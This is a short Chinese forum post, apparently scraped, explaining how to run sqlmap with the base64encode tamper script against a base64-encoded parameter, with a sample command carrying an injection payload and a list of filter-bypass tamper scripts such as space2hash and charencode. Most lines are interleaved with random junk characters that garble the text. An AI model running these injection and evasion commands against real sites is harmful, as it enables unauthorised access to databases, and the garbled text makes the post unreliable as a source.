WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?7 Q J7 H6 w; o: I* x' B( w6 y
, R8 [4 K) {# s2 j( Wsqlmap的tamper里有个base64encode.py
0 x, Y, p: v/ h5 U$ G/ A3 H
, k4 \, v' a2 Y- l: T8 ~. N7 Q: e使用如下
' j% z- L/ `% K% N, b) H# a) ]6 c/ G) \" M' N- J" h
sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs
* C6 O! X+ m( H/ }/ \4 T
/ D0 R/ E1 N! Y/ g
4 V4 g5 T1 W; x4 s- e, z' ?, U( `7 `+ K* `sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”
% l+ q4 Y; C: U* k
, o% i( m3 }! i! G4 q其中常用到的bypass脚本绕过SQLMAP主要两个脚本:
% x/ b6 j" f+ {1 e6 u
, l) ]# o& I# S* qspace2hash.py ,对于MYSQL数据库 4.0, 5.0注入
! i2 c% e. b, B# `space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
3 ~1 |. }7 a5 n H* v首先确定目标数据库版本,然后选择相应的脚本。
- d9 P. I- [3 E/ w+ }-v 3 --batch --tamper "space2hash.py"
( B. k! F5 e1 G0 l
5 b" C" n& n) M( P& w还有其他一些插件:
# d5 C6 C: R1 J! p7 \encodes编码 ——charencode.py8 M n0 p4 X; ~0 k/ l8 ?
base64编码 —— base64encode.py
3 k* z s) h' e. l: e* ~替换空格和关键字 —— halfversionedmorekeywords.py
. I) c4 I" x) { w! c | ! e* w0 z, t% t
% ^1 E$ X, x" H9 f' b$ n8 A" S
# p, `) y0 ^5 ^: a. ]8 O: B* R1 [# s! H# }! D) J2 V2 r
|